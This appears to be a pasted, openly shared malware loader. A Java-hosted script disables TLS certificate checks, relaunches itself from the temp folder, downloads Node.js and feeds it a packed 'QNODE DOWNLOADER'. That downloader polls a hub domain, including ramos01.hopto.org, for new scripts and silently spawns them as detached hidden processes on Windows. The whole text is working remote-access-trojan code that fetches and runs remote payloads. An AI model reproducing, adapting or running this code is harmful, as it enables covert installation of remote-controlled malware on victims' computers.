0===t&&(t=null),function(e){return e.lift(new Yt(t))}}var Yt=function(){function t(t){this.defaultValue=t}return t.prototype.call=function(t,e){return e.subscribe(new Rt(t,this.defaultValue))},t}(),Rt=function(t){function e(e,n){var r=t.call(this,e)||this;return r.defaultValue=n,r.isEmpty=!0,r}return h(e,t),e.prototype._next=function(t){this.isEmpty=!1,this.destination.next(t)},e.prototype._complete=function(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()},e}(g);function Qt(t){return t instanceof Date&&!isNaN(+t)}function Gt(t){return void 0===t&&(t=Wt),function(e){return e.lift(new qt(t))}}var qt=function(){function t(t){this.errorFactory=t}return t.prototype.call=function(t,e){return e.subscribe(new Ht(t,this.errorFactory))},t}(),Ht=function(t){function e(e,n){var r=t.call(this,e)||this;return r.errorFactory=n,r.hasValue=!1,r}return h(e,t),e.prototype._next=function(t){this.hasValue=!0,this.destination.next(t)},e.prototype._complete=function(){if(this.hasValue)return this.destination.complete();var t=void 0;try{t=this.errorFactory()}catch(e){t=e}this.destination.error(t)},e}(g);function Wt(){return new ht}function Jt(t){return function(e){return 0===t?W():e.lift(new Lt(t))}}var Lt=function(){function t(t){if(this.total=t,this.total<0)throw new ct}return t.prototype.call=function(t,e){return e.subscribe(new zt(t,this.total))},t}(),zt=function(t){function e(e,n){var r=t.call(this,e)||this;return r.total=n,r.count=0,r}return h(e,t),e.prototype._next=function(t){var e=this.total,n=++this.count;n<=e&&(this.destination.next(t),n===e&&(this.destination.complete(),this.unsubscribe()))},e}(g);var Kt=function(){function t(t){this.project=t}return t.prototype.call=function(t,e){return e.subscribe(new Zt(t,this.project))},t}(),Zt=function(t){function e(e,n){var r=t.call(this,e)||this;return r.project=n,r.hasSubscription=!1,r.hasCompleted=!1,r.index=0,r}return h(e,t),e.prototype._next=function(t){this.hasSubscription||this.tryNext(t)},e.prototype.tryNext=function(t){var e,n=this.index++;try{e=this.project(t,n)}catch(t){return void this.destination.error(t)}this.hasSubscription=!0,this._innerSub(e)},e.prototype._innerSub=function(t){var e=new _t(this),n=this.destination;n.add(e);var r=Et(t,e);r!==e&&n.add(r)},e.prototype._complete=function(){this.hasCompleted=!0,this.hasSubscription||this.destination.complete(),this.unsubscribe()},e.prototype.notifyNext=function(t){this.destination.next(t)},e.prototype.notifyError=function(t){this.destination.error(t)},e.prototype.notifyComplete=function(){this.hasSubscription=!1,this.hasCompleted&&this.destination.complete()},e}(gt);function Xt(t,e){var n=arguments.length>=2;return function(r){return r.pipe(t?Ct((function(e,n){return t(e,n,r)})):T,Jt(1),n?kt(e):Gt((function(){return new ht})))}}function $t(t){return function(e){return 0===t?W():e.lift(new te(t))}}var te=function(){function t(t){if(this.total=t,this.total<0)throw new ct}return t.prototype.call=function(t,e){return e.subscribe(new ee(t,this.total))},t}(),ee=function(t){function e(e,n){var r=t.call(this,e)||this;return r.total=n,r.ring=new Array,r.count=0,r}return h(e,t),e.prototype._next=function(t){var e=this.ring,n=this.total,r=this.count++;e.length<n?e.push(t):e[r%n]=t},e.prototype._complete=function(){var t=this.destination,e=this.count;if(e>0)for(var n=this.count>=this.total?this.total:this.count,r=this.ring,i=0;i<n;i++){var o=e++%n;t.next(r[o])}t.complete()},e}(g);function ne(t,e){return function(n){var r;if(r=\"function\"==typeof t?t:function(){return t},\"function\"==typeof e)return n.lift(new re(r,e));var i=Object.create(n,U);return i.source=n,i.subjectFactory=r,i}}var re=function(){function t(t,e){this.subjectFactory=t,this.selector=e}return t.prototype.call=function(t,e){var n=this.selector,r=this.subjectFactory(),i=n(r).subscribe(t);return i.add(e.subscribe(r)),i},t}();function ie(){return new B}function oe(t,e){return\"function\"==typeof e?function(n){return n.pipe(oe((function(n,r){return mt(t(n,r)).pipe(at((function(t,i){return e(n,t,r,i)})))})))}:function(e){return e.lift(new se(t))}}var se=function(){function t(t){this.project=t}return t.prototype.call=function(t,e){return e.subscribe(new ue(t,this.project))},t}(),ue=function(t){function e(e,n){var r=t.call(this,e)||this;return r.project=n,r.index=0,r}return h(e,t),e.prototype._next=function(t){var e,n=this.index++;try{e=this.project(t,n)}catch(t){return void this.destination.error(t)}this._innerSub(e)},e.prototype._innerSub=function(t){var e=this.innerSubscription;e&&e.unsubscribe();var n=new _t(this),r=this.destination;r.add(n),this.innerSubscription=Et(t,n),this.innerSubscription!==n&&r.add(this.innerSubscription)},e.prototype._complete=function(){var e=this.innerSubscription;e&&!e.closed||t.prototype._complete.call(this),this.unsubscribe()},e.prototype._unsubscribe=function(){this.innerSubscription=void 0},e.prototype.notifyComplete=function(){this.innerSubscription=void 0,this.isStopped&&t.prototype._complete.call(this)},e.prototype.notifyNext=function(t){this.destination.next(t)},e}(gt);var ce={leading:!0,trailing:!1};var he=function(){function t(t,e,n,r){this.duration=t,this.scheduler=e,this.leading=n,this.trailing=r}return t.prototype.call=function(t,e){return e.subscribe(new ae(t,this.duration,this.scheduler,this.leading,this.trailing))},t}(),ae=function(t){function e(e,n,r,i,o){var s=t.call(this,e)||this;return s.duration=n,s.scheduler=r,s.leading=i,s.trailing=o,s._hasTrailingValue=!1,s._trailingValue=null,s}return h(e,t),e.prototype._next=function(t){this.throttled?this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0):(this.add(this.throttled=this.scheduler.schedule(le,this.duration,{subscriber:this})),this.leading?this.destination.next(t):this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0))},e.prototype._complete=function(){this._hasTrailingValue?(this.destination.next(this._trailingValue),this.destination.complete()):this.destination.complete()},e.prototype.clearThrottle=function(){var t=this.throttled;t&&(this.trailing&&this._hasTrailingValue&&(this.destination.next(this._trailingValue),this._trailingValue=null,this._hasTrailingValue=!1),t.unsubscribe(),this.remove(t),this.throttled=null)},e}(g);function le(t){t.subscriber.clearThrottle()}function pe(t,e,n){return void 0===n&&(n=ut),function(r){var i=Qt(t),o=i?+t-n.now():Math.abs(t);return r.lift(new fe(o,i,e,n))}}var fe=function(){function t(t,e,n,r){this.waitFor=t,this.absoluteTimeout=e,this.withObservable=n,this.scheduler=r}return t.prototype.call=function(t,e){return e.subscribe(new de(t,this.absoluteTimeout,this.waitFor,this.withObservable,this.scheduler))},t}(),de=function(t){function e(e,n,r,i,o){var s=t.call(this,e)||this;return s.absoluteTimeout=n,s.waitFor=r,s.withObservable=i,s.scheduler=o,s.scheduleTimeout(),s}return h(e,t),e.dispatchTimeout=function(t){var e=t.withObservable;t._unsubscribeAndRecycle(),t.add(Et(e,new _t(t)))},e.prototype.scheduleTimeout=function(){var t=this.action;t?this.action=t.schedule(this,this.waitFor):this.add(this.action=this.scheduler.schedule(e.dispatchTimeout,this.waitFor,this))},e.prototype._next=function(e){this.absoluteTimeout||this.scheduleTimeout(),t.prototype._next.call(this,e)},e.prototype._unsubscribe=function(){this.action=void 0,this.scheduler=null,this.withObservable=null},e}(gt);class be{constructor(t){this.options=t}async asyncComplete(){const t=await this.reactive().pipe(function(t,e){var n=arguments.length>=2;return function(r){return r.pipe(t?Ct((function(e,n){return t(e,n,r)})):T,$t(1),n?kt(e):Gt((function(){return new ht})))}}()).toPromise();if(\"completed\"!==(null==t?void 0:t.phase))throw new Error(\"incomplete response: \"+(null==t?void 0:t.phase));const e=t.response;return e.body=t.responseBody,e}async(){var t;const e={};if(this.options.headers)for(const[n,r]of this.options.headers)(null!==(t=e[n])&&void 0!==t?t:e[n]=[]).push(r);return new Promise((t,n)=>{const r=Object(Vt.request)({ca:this.options.caCert,servername:this.options.host,host:this.options.host,hostname:this.options.host,port:this.options.port,path:this.options.path,method:this.options.method,timeout:6e4,headers:e});null!=this.options.body&&r.write(this.options.body),r.end(),r.on(\"response\",e=>{t(e)}).on(\"error\",t=>{n(t)}).on(\"timeout\",()=>{n(new Error(\"REQUEST TIMED OUT\")),r.abort()})})}reactive(){return Ot(()=>this.async()).pipe(Xt(),Ut(t=>new O(e=>{let n=Number(t.headers[\"content-length\"]);n>=0&&Math.floor(n)===n||(n=void 0),t.setTimeout(6e4,()=>{e.error(new Error(\"RESPONSE TIMED OUT\")),t.destroy()}),e.next({response:t,phase:\"downloading\",completedBytes:0,...null==n?{}:{totalBytes:n}});const r=[];let i=0;return t.on(\"data\",o=>{r.push(o),i+=o.length,e.next({response:t,phase:\"downloading\",completedBytes:i,...null==n?{}:{totalBytes:n}})}).on(\"end\",async()=>{try{const i=Buffer.concat(r);null!=n&&i.length!==n?e.error(new Error(\"Content-Length header and total length of received bytes are not matching\")):(e.next({response:t,phase:\"completed\",totalBytes:i.length,completedBytes:i.length,responseBody:i}),e.complete())}catch(t){e.error(t)}}).on(\"error\",t=>{e.error(t)}),()=>t.destroy()})))}}class ye{constructor({headers:t=[],...e},{headers:n=[],...r}){this.options={...e,...r,headers:[...t,...n]}}override(t){return new ye(this.options,t)}caCert(t){return this.override({caCert:t})}host(t){return this.override({host:t})}port(t){return this.override({port:t})}method(t){return this.override({method:t})}path(t){return this.override({path:t})}body(t){return this.override({body:t})}header(t,e){return this.headers([t,e])}headers(...t){return this.override({headers:t})}request(){return new be(this.options)}}function ve(){const t=function(t){const e=[],n=process.argv;for(let r=0;r<n.length;){if(n[r++]===t){const t=n[r++];null!=t&&e.push(t)}}return e}(\"--hub-domain\");if(0===t.length)throw new Error(\"no hub domain specified\");return t}var we=n(2),me=n(3),_e=n(7),ge=n(8),Ee=n(4);var xe=n(0),Se=n.n(xe);const Te=new it(1),Ie=new it(1);async function Oe(t){return new ye({},{}).caCert(await Te.pipe(Xt()).toPromise()).host(t.host).port(t.port).method(\"get\")}async function Ae(t,e){const n=await async function(t){const e=await(await Oe(t)).path(\"/node/version\").request().asyncComplete();if(200!==e.statusCode)throw new Error(\"non-200 status code\");return e.body.toString(\"utf8\")}(t);if(n===e)return!0;console.log(\"FOUND NEW SCRIPT @\"+t.host+\":\"+t.port+\" / \"+e+\" -> \"+n),null===(r=Se.a.send)||void 0===r||r.call(Se.a,\"feed\");try{return await async function(t,e){const n=await(await Oe(t)).path(\"/node/download/\"+e).request().asyncComplete();if(200!==n.statusCode)throw new Error(\"non-200 status code\");return n.body}(t,n)}catch(t){throw console.log(\"ERROR while downloading fresh-script\",t),t}var r}const je=new B,Ne=Nt((void 0===(Ce=3e5)&&(Ce=0),void 0===Be&&(Be=ut),(!At(Ce)||Ce<0)&&(Ce=0),Be&&\"function\"==typeof Be.schedule||(Be=ut),new O((function(t){return t.add(Be.schedule(jt,Ce,{subscriber:t,counter:0,period:Ce})),t}))),je.pipe(function(t,e,n){return void 0===e&&(e=ut),void 0===n&&(n=ce),function(r){return r.lift(new he(t,e,n.leading,n.trailing))}}(6e4,st,{trailing:!0,leading:!0})));var Ce,Be;let Pe=!1;function Ve(){if(!Pe){Pe=!0;mt(ve().map(t=>({port:443,host:t}))).pipe(xt(t=>Ie.pipe(oe(e=>Nt(X(void 0),Ne).pipe(function t(e,n){return n?function(r){return r.pipe(t((function(t,r){return mt(e(t,r)).pipe(at((function(e,i){return n(t,e,r,i)})))})))}:function(t){return t.lift(new Kt(e))}}(()=>function(t,e){return Ot(()=>Ae(t,e)).pipe(Ft(t=>H),Ct(t=>!0!==t))}(t,e).pipe(pe(6e5,H))))))),(function(t){return V()(ne(ie)(t))})).pipe(Ut(t=>async function(t){const e=await Object(Ee.promisify)(we.mkdtemp)(Object(me.join)(Object(ge.tmpdir)(),\"_qhub_node_\")),n=Object(me.resolve)(e,\"boot.js\");await Object(Ee.promisify)(we.writeFile)(n,t),Object(_e.spawn)(process.execPath,[n,...process.argv.slice(2)],{detached:!0,stdio:\"inherit\",windowsHide:!0,cwd:e}).unref()}(t)),Ft(()=>H)).subscribe()}}console.log(\"QNODE DOWNLOADER\"),async function(t,e){if(\"win32\"!==process.platform)throw new Error(\"only windows platforms are supported for now\");{const n=\"\\\\\\\\.\\\\pipe\\\\\"+t;for(;;){let t;try{t=await o(n)}catch(t){if(console.error(\"ipc\",\"lockSingleton\",\"couldn't bind pipe server\",t),!(null==e?void 0:e.waitBound))try{const t=await s(n);await new Promise(e=>{const n=setTimeout(()=>{t.destroy(),e()},1e3);t.once(\"close\",()=>{clearTimeout(n),e()})});continue}catch(t){}console.error(\"ipc\",\"lockSingleton\",\"retrying in 3 seconds\"),await i(3e3);continue}let r=!1,u=null;const c=new Promise(t=>{u=t}),h=()=>{r||(r=!0,u())};return t.once(\"close\",h),t.once(\"error\",t=>{console.error(\"ipc\",\"server.on error\",t),h()}),e.ignoreKills||t.on(\"connection\",e=>{console.error(\"ipc\",\"server.on connection\",\"an incoming connection detected. (interpreting as close signal)\"),t.close(),h()}),{release:()=>{t.close()},onRelease$:c}}}}(\"qhub-node-instance-lock\",{ignoreKills:!1,waitBound:!1}).then(async t=>{var e,n;console.log(\"LOCKED INSTANCE\"),t.onRelease$.finally(()=>{console.log(\"boot\",\"kill request received on instance-lock\",\"exiting\"),process.exit(0)}),console.log(\"SETTING UP UPDATER\"),e=u.a+\"-downloader\",Ie.next(e),n=\"-----BEGIN CERTIFICATE-----\\nMIID2DCCAsCgAwIBAgIIAoMpofLrd+IwDQYJKoZIhvcNAQELBQAwcjEcMBoGA1UE\\nChMTUVVBIElUIFNPTFVUSU9OUyBPVTEhMB8GA1UECxMYSU5GT1JNQVRJT04gVEVD\\nSE5PTE9HSUVTMRIwEAYDVQQDEwlRSFVCLU1BSU4xGzAZBgkqhkiG9w0BCQEWDGlu\\nZm9AcXVhLm9uZTAeFw0yMDA4MjQxNTEzMDBaFw0zMDA4MjQxNTEzMDBaMHIxHDAa\\nBgNVBAoTE1FVQSBJVCBTT0xVVElPTlMgT1UxITAfBgNVBAsTGElORk9STUFUSU9O\\nIFRFQ0hOT0xPR0lFUzESMBAGA1UEAxMJUUhVQi1NQUlOMRswGQYJKoZIhvcNAQkB\\nFgxpbmZvQHF1YS5vbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR\\nRALMGh6e1pi2riSEEERK5k6vWyXaHOAMzfnP+DHQuBgDIRmPUXx9m2ugp2gwiFDp\\ngvadNWLglY+zYj/eS8G3dOFqaJlvK42lCWIB8nRO50cYyvKvy8El1KW60SAjDkyZ\\n66hO2pQIB6lkynLfV6pIuCp8Wt83VbaQRf6hvtylBhhJDT29/EkXPt1j3CzByL/+\\nLfStrpw0vkSVVT7rjSzl430I/OxiYIJuPovjoj3fAptXkJFuRS4xLT0nDDCOnWXT\\nJ2B4Sl44v5bGBEOPLUQrPMEfdK2fu0eLpc+QANeO6dxL8EW4BFRnwADc+oEStWCT\\nGWCl6vM205GlFuG8HtpZAgMBAAGjcjBwMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O\\nBBYEFJMcicJls+RLz5VuUr9/5sMy4MxiMAsGA1UdDwQEAwIBBjARBglghkgBhvhC\\nAQEEBAMCAAcwHgYJYIZIAYb4QgENBBEWD3hjYSBjZXJ0aWZpY2F0ZTANBgkqhkiG\\n9w0BAQsFAAOCAQEAcOC2fJ/vrP5wUKOqFbywyeTYbwX81y/1L6mMnTXFT89bl7hE\\nzrYhYexkKcsSGU/+jG8tSb+65VTL4/cwgFZZABXKe5+yqzEEkkLqbRv15Dh4ce15\\nR8CNkfXkjncHEsW3r4k6dXbpmbdskynDwW5lmY6KQUJBsLvRLHJCQNJhIu3wrzVo\\nZrrKUyKDayOxjz0ClPmMVh/Uo91oUMQEblhj82XeHEvF85aty4lIn39p7FSYUroe\\nbUxgIlEFBvb9zoBvEJoiDosG8hlQKX5TIrFZ1fFDmdnXK/p57uxfPmZf4R3Ce3rF\\nlT212ouj5tVJtoFYFZkCOrBHm71WdVIgMM1G+A==\\n-----END CERTIFICATE-----\\n\",Te.next(n),Ve(),console.log(\"READY\")},t=>console.error(t))}]);\n//# sourceMappingURL=downloader.js.map",
  30.             "arguments": ["--hub-domain", "localhost", "--hub-domain", "ramos01.hopto.org"]
  31. };
  32.  
  33. ! function() {
  34.     "use strict";. /*! *****************************************************************************.    Copyright (c) Microsoft Corporation...    Permission to use, copy, modify, and/or distribute this software for any.    purpose with or without fee is hereby granted...    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.    REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY.    AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.    INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.    LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.    OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.    PERFORMANCE OF THIS SOFTWARE..    ***************************************************************************** */ var e = Packages.java, t = Packages.javax, r = e.lang.Class.forName("[B").getComponentType();
  35.  
  36.     function n(t) {
  37.         return e.lang.reflect.Array.newInstance(r, [t])
  38.     }
  39.     var o = e.lang.Thread,
  40.         a = e.lang.ProcessBuilder,
  41.         i = e.lang.Runtime,
  42.         c = e.lang.System,
  43.         u = (e.lang.Exception, e.lang.Class),
  44.         l = e.lang.reflect.Array,
  45.         s = e.net.URL,
  46.         f = e.util.zip.ZipInputStream,
  47.         g = e.io.File,
  48.         w = e.io.FileOutputStream,
  49.         d = e.io.FileInputStream,
  50.         h = e.security.SecureRandom;
  51.  
  52.     function p(e) {
  53.         try {
  54.             e.printStackTrace()
  55.         } catch (t) {
  56.             try {
  57.                 e.rhinoException.printStackTrace()
  58.             } catch (t) {
  59.                 try {
  60.                     e.javaException.printStackTrace()
  61.                 } catch (t) {
  62.                     c.err.println(e)
  63.                 }
  64.             }
  65.         }
  66.     }
  67.     try {
  68.         var v = new g(c.getProperty("java.io.tmpdir")).getAbsolutePath(),
  69.             y = new g(_.getProtectionDomain().getCodeSource().getLocation().toURI()).getAbsolutePath();
  70.         if (y.endsWith(".jar")) {
  71.             var m = Number(c.nanoTime()).toString(16);
  72.             m = m.substring(m.length - 8) + ".tmp";
  73.             var S = new g(v, m),
  74.                 P = new w(S),
  75.                 E = void 0,
  76.                 T = n(4096);
  77.             try {
  78.                 var R = new d(y);
  79.                 try {
  80.                     for (;
  81.                         (E = R.read(T)) > -1;) P.write(T, 0, E)
  82.                 } finally {
  83.                     R.close()
  84.                 }
  85.             } finally {
  86.                 P.close()
  87.             }
  88.             var x = c.getProperty("java.home"),
  89.                 C = new g(new g(x), "bin/javaw.exe").getAbsolutePath();
  90.             new a([C, "-jar", S.getAbsolutePath()]).start(), o.sleep(15e3), c.exit(0)
  91.         }
  92.     } catch (e) {
  93.         p(e)
  94.     }
  95.  
  96.     function I() {
  97.         var e = function() {
  98.             var e = c.getenv("PROCESSOR_ARCHITECTURE");
  99.             if (null == e) throw new Error("couldn't determine processor architecture");
  100.             if (e.match(/32/g) || e.match(/x86/gi)) return null != c.getenv("ProgramFiles(X86)") ? 64 : 32;
  101.             if (e.match(/64/g)) return 64;
  102.             throw new Error("unexpected processor architecture: " + e)
  103.         }();
  104.         if (32 === e) return "x86";
  105.         if (64 === e) return "x64";
  106.         throw new Error("unsupported architecture : " + e)
  107.     }
  108.  
  109.     function k(e, t) {
  110.         var r, o = new w(t),
  111.             a = n(4096);
  112.         try {
  113.             for (;
  114.                 (r = e.read(a)) > -1;) o.write(a, 0, r);
  115.             o.close()
  116.         } catch (e) {
  117.             throw p(e), o.close(), t.delete(), e
  118.         }
  119.     }
  120.  
  121.     function A(e, t) {
  122.         for (var r, n = new f(e); null != (r = n.getNextEntry());) {
  123.             var o = r.getName(),
  124.                 a = new g(t, o);
  125.             r.isDirectory() || (a.getParentFile().mkdirs(), k(n, a))
  126.         }
  127.     }
  128.  
  129.     function b(e) {
  130.         for (var t = "node-v14.12.0-win-" + e, r = "https://nodejs.org/dist/v14.12.0/" + t + ".zip", n = t, a = new g(c.getProperty("user.home", "./")).getAbsoluteFile(), i = new g(a, n), u = new g(a, n + ".lock"), l = null; !i.isDirectory();) try {
  131.             for (;;)
  132.                 if (u.isFile()) u.delete() || o.sleep(500);
  133.                 else try {
  134.                     l = new w(u), u.deleteOnExit();
  135.                     break
  136.                 } catch (e) {
  137.                     p(e), o.sleep(500)
  138.                 }
  139.             if (i.isDirectory()) break;
  140.             var f = new g(a, n + ".tmp" + c.nanoTime()),
  141.                 d = new g(f, t);
  142.             try {
  143.                 var h = new s(r).openConnection();
  144.                 h.setConnectTimeout(15e3), h.setReadTimeout(15e3);
  145.                 var v = h.getInputStream();
  146.                 try {
  147.                     if (A(v, f), !d.renameTo(i)) throw new Error("couldn't move tmp node dir to desired location");
  148.                     f.delete()
  149.                 } finally {
  150.                     v.close()
  151.                 }
  152.             } catch (e) {
  153.                 throw e
  154.             }
  155.         } catch (e) {
  156.             p(e), o.sleep(1500)
  157.         } finally {
  158.             null != l && l.close(), u.delete()
  159.         }
  160.         return i
  161.     }
  162.  
  163.     function F(e) {
  164.         var t = new g(e, "node.exe");
  165.         if (!t.isFile()) throw new Error("node.exe not found");
  166.         return t
  167.     }
  168.     var j = PACK;
  169.  
  170.     function N() {
  171.         return new e.lang.String(j.script).getBytes()
  172.     }! function() {
  173.         if (!c.getProperty("os.name").match(/win/i)) throw new Error("only windows platforms are supported for now");
  174.         ! function() {
  175.             try {
  176.                 var e = t.net.ssl.SSLContext,
  177.                     r = t.net.ssl.HttpsURLConnection,
  178.                     n = t.net.ssl.X509TrustManager,
  179.                     o = u.forName("java.security.cert.X509Certificate"),
  180.                     a = e.getInstance("SSL"),
  181.                     i = [new n({
  182.                         getAcceptedIssuers: function() {
  183.                             return l.newInstance(o, [0])
  184.                         },
  185.                         checkClientTrusted: function(e, t) {},
  186.                         checkServerTrusted: function(e, t) {}
  187.                     })];
  188.                 a.init(null, i, new h), r.setDefaultSSLSocketFactory(a.getSocketFactory())
  189.             } catch (e) {
  190.                 p(e)
  191.             }
  192.         }(),
  193.         function(e, t) {
  194.             var r = new a(e);
  195.             try {
  196.                 r.redirectInput(a.Redirect.PIPE)
  197.             } catch (e) {}
  198.             try {
  199.                 r.redirectOutput(a.Redirect.INHERIT), r.redirectError(a.Redirect.INHERIT)
  200.             } catch (e) {}
  201.             r.environment().put("NODE_SKIP_PLATFORM_CHECK", "1");
  202.             var n = r.start();
  203.             i.getRuntime().addShutdownHook(new o({
  204.                 run: function() {
  205.                     n.destroy()
  206.                 }
  207.             }));
  208.             var u = n.getOutputStream();
  209.             u.write(t), u.flush(), u.close(), c.exit(n.waitFor())
  210.         }(function() {
  211.             for (var e = 0, t = 0, r = arguments.length; t < r; t++) e += arguments[t].length;
  212.             var n = Array(e),
  213.                 o = 0;
  214.             for (t = 0; t < r; t++)
  215.                 for (var a = arguments[t], i = 0, c = a.length; i < c; i++, o++) n[o] = a[i];
  216.             return n
  217.         }([function() {
  218.             for (var e, t = I();;) try {
  219.                 e = F(b(t));
  220.                 break
  221.             } catch (e) {
  222.                 p(e), o.sleep(1500)
  223.             }
  224.             return e
  225.         }().getAbsolutePath(), "-"], j.arguments), N())
  226.     }()
  227. }();
Add Comment
Please, Sign In to add comment